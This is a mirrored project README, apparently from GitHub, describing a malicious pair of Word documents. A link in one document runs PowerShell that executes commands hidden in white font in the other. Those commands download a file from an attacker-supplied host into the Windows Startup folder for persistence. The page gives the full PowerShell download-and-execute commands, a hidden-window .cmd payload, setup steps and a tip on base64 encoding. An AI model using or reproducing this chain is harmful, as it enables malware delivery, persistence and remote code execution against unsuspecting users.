Giter Site home page Giter Site logo

suspiciousworddocuments's Introduction

SuspiciousWordDocuments

You have received two Microsoft Word documents. Are the links safe?

Description

Things aren't always what they seem when it comes to links. One document contains several links to different things on the web. The other looks like another plain document. The RealJuicyWebLinks.docx file has a link that executes a PowerShell Command contained in wordfornotes.docx. Scenario: The wordfornotes commands are a way to establish persistence by grabbing the contents of a file from a hosted webserver and it's deposited in the user's Startup folder as .cmd. The .cmd example below is made to parse a file that could contain malicious code to be ran at startup. A shutdown /l command is the last step to execute the .cmd file upon login from the user.

Remember

wordfornotes.docx is saved in white font.

This only works on Windows 10 and not windows 11. To work properly, save both files to downloads. Add your hosted IP, directory, and file to Document1 that you wished to be parsed/saved to the startup directory.

How to use

Link number 1 must be copied and pasted to the Window's Search Box. wordfornotes.docx cannot be opened at the same time of Window's Search Box execution. If testing, remember to kill wordfornotes.docx.

Add your IP, Directory, and filename to wordfornotes.docx. Note: commands could be encoded in base64.

Both files saved to Downloads.

If you edit RealJuicyWebLinks, the suspicious link may need to be updated as well back to the initial.

Stages

Call the other word document

c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "&{$word = new-object -comobject word.application; $word.visible = $false; $doc = $word.Documents.Open(\"$env:userprofile\downloads\wordfornotes.docx\"); $doc.Paragraphs[1].range.text | iex}"

Request the commands hosted on a particular site

start msedge `https://www.youtube.com/watch?v=uXbGQiXsRes';iwr https://<YourIP>/Direcotory/filename -o "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartUp.cmd"; shutdown /l;

Example .cmd

@echo off

powershell.exe -windowstyle hidden "(iwr https:// YOUR IP/DIRECTORY/filename -UseBasicParsing) | iex"

suspiciousworddocuments's People

Contributors

nathansb2022 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.